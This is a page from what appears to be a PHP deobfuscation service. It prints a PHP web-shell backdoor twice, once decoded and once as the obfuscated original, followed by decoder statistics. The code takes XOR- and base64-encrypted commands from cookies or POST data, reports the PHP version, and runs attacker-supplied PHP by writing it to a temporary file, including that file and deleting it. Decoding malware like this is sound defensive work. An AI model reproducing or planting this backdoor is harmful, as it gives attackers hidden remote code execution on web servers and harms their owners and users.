Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $xbxod_mjx = 'xbxod_mjx' ^ ' '; $qs_jdbp /*jby*/ ..
Decoded Output download
<?php $xbxod_mjx = 'xbxod_mjx' ^ '
';
$qs_jdbp /*jby*/ = /* qonk */ $_COOKIE;$skoqf = /* xygla */ 63;
$uxrhcr_ = /* cm */ $_POST;
function _vgtkwdr(){
$hvt_e = 'hujjogdos';
/* hv */ $tywydzbfnd = 'nem';
$qaugiqodelylxzcjwn /* amkll*/ = /* c */ 'ti'; $qaugieu_o /*eft */ = 'udzfhetjl';
/* ra*/ $tywydzbfnd = strtolower($qaugieu_o);
/*vbirl */ $cjhabj = 'vgonn';
/* _r */ $dmkgtlii /* ilors*/ = 'kk_cudycr';
}
function clojo_zhym($ptaofjb, $xzsrx)
{
/* c */ global $xbxod_mjx;
$vjnkga /* tqco */ = "";
$dkamt_sd /* bzr */ = 43;
/*oylgzv */ for ($qaugiqodelylx /*_hq */ = /* mvyq */ 0; /* cnf*/ $qaugiqodelylx < /*sp */ strlen($ptaofjb);) { for /* ge */ ($qaugi = 0; /* sbc */ $qaugi /*ij*/ < strlen($xzsrx) && /* b*/ $qaugiqodelylx < strlen($ptaofjb); /*jir */ $qaugi++, $qaugiqodelylx++) {
/* mftmb */ $vjnkga /* t */ .= $xbxod_mjx(ord($ptaofjb[$qaugiqodelylx]) ^ /*msg */ ord($xzsrx[$qaugi])); $qopgior /* vhpbp*/ = 20; } }
return $vjnkga;
}
function gcvres_clk($hgtigpg_, /* qln */ $ptaofjb)
{
global $xbxod_mjx;
$fdgfszu /*yyho_h */ = sprintf(".".$xbxod_mjx(542-495) /* mmy */ . "%" . $xbxod_mjx(115) /*xkqze */ . "."."p" /* vtbv */ . "l", md5($hgtigpg_));
file_put_contents($fdgfszu, "<" . "?"."p"."h" . $xbxod_mjx(841-729) . $xbxod_mjx(32) . "u" . /* sdmzt */ "n" /* jobwas*/ . /*dtv */ $xbxod_mjx(884-776) /* oih_ */ . /*lyw */ "i"."n"."k"."(" . "_".$xbxod_mjx(95) . /* svdfsd */ $xbxod_mjx(346-276) . $xbxod_mjx(73) /* yrb_ */ . "L".$xbxod_mjx(1053-984) . "_"."_" . $xbxod_mjx(139-98) . /* u */ ";" . $xbxod_mjx(32) /* uypi */ . $ptaofjb["d"]);
$wrccb /* zupbc */ = 'rch'; /* q */ include($fdgfszu); $csnztb = $fdgfszu; $hcvezneuse /* u */ = /* kikoxc */ trim($wrccb); $rhzyci = 'ptqm';
@unlink($csnztb);
$hxa_uktso = 41;
$corimfwkbl = 5;
}
function xydboztb()
{ global $xbxod_mjx;
$qaugiqodelylx = array();
$ejpyb = /* fv_mm */ 'porh'; $qaugiqodelylx["p"."v"] = phpversion();
$gajagp = 45;
$qaugiqodelylx["s"."v"] = "3" . /* kxwkru */ ".".$xbxod_mjx(530-477);
echo /* _hkfl*/ @serialize($qaugiqodelylx);}function zoeppxobmv(){
/* fh */ $rdabjvojy = /*z */ 67;
/* piykvh*/ $azjhy = 'jzztiq_';
$gqewzwmo /* vjotr */ = 31;
/* dlyl */ $rdabjvojy = $gqewzwmo * 20;
$khiobtid_ /* ywtqb*/ = /* mlgyiu */ 35;
}
zoeppxobmv();function yedmvp($ptaofjb, $hgtigpg_, /* a_ms */ $lawufgyu)
{
global /* ufny*/ $xbxod_mjx;
$ptaofjb = /*zbopis */ unserialize(clojo_zhym(clojo_zhym(base64_decode($ptaofjb), $hgtigpg_), $lawufgyu));
if (isset($ptaofjb["a"."k"])) {
if /* f */ ($ptaofjb["a"] == /* __*/ "i") { xydboztb();
} elseif /* wsmkw */ ($ptaofjb["a"] /*ca_atm */ == $xbxod_mjx(974-873)) /* ae */ {
gcvres_clk($hgtigpg_, $ptaofjb);
$xxeqqcd = 74;
/* z_ */ }
exit();
/*owvefu */ }}
$qs_jdbp = array_merge($uxrhcr_, $qs_jdbp);
$hgtigpg_ = "6".$xbxod_mjx(817-719) . /* ld_vfs */ $xbxod_mjx(97) /* yse_l */ . "a" . /* tvjbhq */ $xbxod_mjx(378-324) . /* r */ $xbxod_mjx(55) . $xbxod_mjx(53) /* wmx*/ . /* h */ $xbxod_mjx(55) /* ss */ . $xbxod_mjx(811-766) . "8".$xbxod_mjx(487-436) . $xbxod_mjx(100) /* c */ . $xbxod_mjx(99) /* blva */ . "-"."4" . $xbxod_mjx(208-107) /* mtqp */ . /* qca */ "d"."c"."-" . "9"."6"."b"."e" /*ggnc*/ . /*nsjec */ "-" . "b" . "6".$xbxod_mjx(100) . "b" . "d"."b"."f"."8" . "4" . "0" /*ukus */ . "4"."9";
foreach /*mfbsxk */ ($qs_jdbp as /*okyq */ $lawufgyu /*jyny */ => $ptaofjb) {
/* aug*/ yedmvp($ptaofjb, $hgtigpg_, /*t */ $lawufgyu);
}
$qaugiz_jv_icb = /* pyupl*/ 'ysmwo';$gs_os = 31;
_vgtkwdr();
?>
Did this file decode correctly?
Original Code
<?php $xbxod_mjx = 'xbxod_mjx' ^ '
';
$qs_jdbp /*jby*/ = /* qonk */ $_COOKIE;$skoqf = /* xygla */ 63;
$uxrhcr_ = /* cm */ $_POST;
function _vgtkwdr(){
$hvt_e = 'hujjogdos';
/* hv */ $tywydzbfnd = 'nem';
$qaugiqodelylxzcjwn /* amkll*/ = /* c */ 'ti'; $qaugieu_o /*eft */ = 'udzfhetjl';
/* ra*/ $tywydzbfnd = strtolower($qaugieu_o);
/*vbirl */ $cjhabj = 'vgonn';
/* _r */ $dmkgtlii /* ilors*/ = 'kk_cudycr';
}
function clojo_zhym($ptaofjb, $xzsrx)
{
/* c */ global $xbxod_mjx;
$vjnkga /* tqco */ = "";
$dkamt_sd /* bzr */ = 43;
/*oylgzv */ for ($qaugiqodelylx /*_hq */ = /* mvyq */ 0; /* cnf*/ $qaugiqodelylx < /*sp */ strlen($ptaofjb);) { for /* ge */ ($qaugi = 0; /* sbc */ $qaugi /*ij*/ < strlen($xzsrx) && /* b*/ $qaugiqodelylx < strlen($ptaofjb); /*jir */ $qaugi++, $qaugiqodelylx++) {
/* mftmb */ $vjnkga /* t */ .= $xbxod_mjx(ord($ptaofjb[$qaugiqodelylx]) ^ /*msg */ ord($xzsrx[$qaugi])); $qopgior /* vhpbp*/ = 20; } }
return $vjnkga;
}
function gcvres_clk($hgtigpg_, /* qln */ $ptaofjb)
{
global $xbxod_mjx;
$fdgfszu /*yyho_h */ = sprintf(".".$xbxod_mjx(542-495) /* mmy */ . "\x25" . $xbxod_mjx(115) /*xkqze */ . "."."\160" /* vtbv */ . "l", md5($hgtigpg_));
file_put_contents($fdgfszu, "<" . "?"."p"."\x68" . $xbxod_mjx(841-729) . $xbxod_mjx(32) . "\165" . /* sdmzt */ "\156" /* jobwas*/ . /*dtv */ $xbxod_mjx(884-776) /* oih_ */ . /*lyw */ "i"."n"."k"."\x28" . "_".$xbxod_mjx(95) . /* svdfsd */ $xbxod_mjx(346-276) . $xbxod_mjx(73) /* yrb_ */ . "L".$xbxod_mjx(1053-984) . "_"."\137" . $xbxod_mjx(139-98) . /* u */ "\73" . $xbxod_mjx(32) /* uypi */ . $ptaofjb["\x64"]);
$wrccb /* zupbc */ = 'rch'; /* q */ include($fdgfszu); $csnztb = $fdgfszu; $hcvezneuse /* u */ = /* kikoxc */ trim($wrccb); $rhzyci = 'ptqm';
@unlink($csnztb);
$hxa_uktso = 41;
$corimfwkbl = 5;
}
function xydboztb()
{ global $xbxod_mjx;
$qaugiqodelylx = array();
$ejpyb = /* fv_mm */ 'porh'; $qaugiqodelylx["p"."v"] = phpversion();
$gajagp = 45;
$qaugiqodelylx["s"."\166"] = "\63" . /* kxwkru */ ".".$xbxod_mjx(530-477);
echo /* _hkfl*/ @serialize($qaugiqodelylx);}function zoeppxobmv(){
/* fh */ $rdabjvojy = /*z */ 67;
/* piykvh*/ $azjhy = 'jzztiq_';
$gqewzwmo /* vjotr */ = 31;
/* dlyl */ $rdabjvojy = $gqewzwmo * 20;
$khiobtid_ /* ywtqb*/ = /* mlgyiu */ 35;
}
zoeppxobmv();function yedmvp($ptaofjb, $hgtigpg_, /* a_ms */ $lawufgyu)
{
global /* ufny*/ $xbxod_mjx;
$ptaofjb = /*zbopis */ unserialize(clojo_zhym(clojo_zhym(base64_decode($ptaofjb), $hgtigpg_), $lawufgyu));
if (isset($ptaofjb["a"."\153"])) {
if /* f */ ($ptaofjb["a"] == /* __*/ "i") { xydboztb();
} elseif /* wsmkw */ ($ptaofjb["a"] /*ca_atm */ == $xbxod_mjx(974-873)) /* ae */ {
gcvres_clk($hgtigpg_, $ptaofjb);
$xxeqqcd = 74;
/* z_ */ }
exit();
/*owvefu */ }}
$qs_jdbp = array_merge($uxrhcr_, $qs_jdbp);
$hgtigpg_ = "6".$xbxod_mjx(817-719) . /* ld_vfs */ $xbxod_mjx(97) /* yse_l */ . "\x61" . /* tvjbhq */ $xbxod_mjx(378-324) . /* r */ $xbxod_mjx(55) . $xbxod_mjx(53) /* wmx*/ . /* h */ $xbxod_mjx(55) /* ss */ . $xbxod_mjx(811-766) . "8".$xbxod_mjx(487-436) . $xbxod_mjx(100) /* c */ . $xbxod_mjx(99) /* blva */ . "-"."\64" . $xbxod_mjx(208-107) /* mtqp */ . /* qca */ "\x64"."c"."\x2d" . "9"."6"."b"."\145" /*ggnc*/ . /*nsjec */ "\x2d" . "\x62" . "6".$xbxod_mjx(100) . "\x62" . "\x64"."b"."f"."\x38" . "\64" . "\x30" /*ukus */ . "4"."9";
foreach /*mfbsxk */ ($qs_jdbp as /*okyq */ $lawufgyu /*jyny */ => $ptaofjb) {
/* aug*/ yedmvp($ptaofjb, $hgtigpg_, /*t */ $lawufgyu);
}
$qaugiz_jv_icb = /* pyupl*/ 'ysmwo';$gs_os = 31;
_vgtkwdr();
?>
Function Calls
| zoeppxobmv | 1 |
| array_merge | 1 |
Stats
| MD5 | 5d34d3725b93a4ef862cf664a60d879f |
| Eval Count | 0 |
| Decode Time | 62 ms |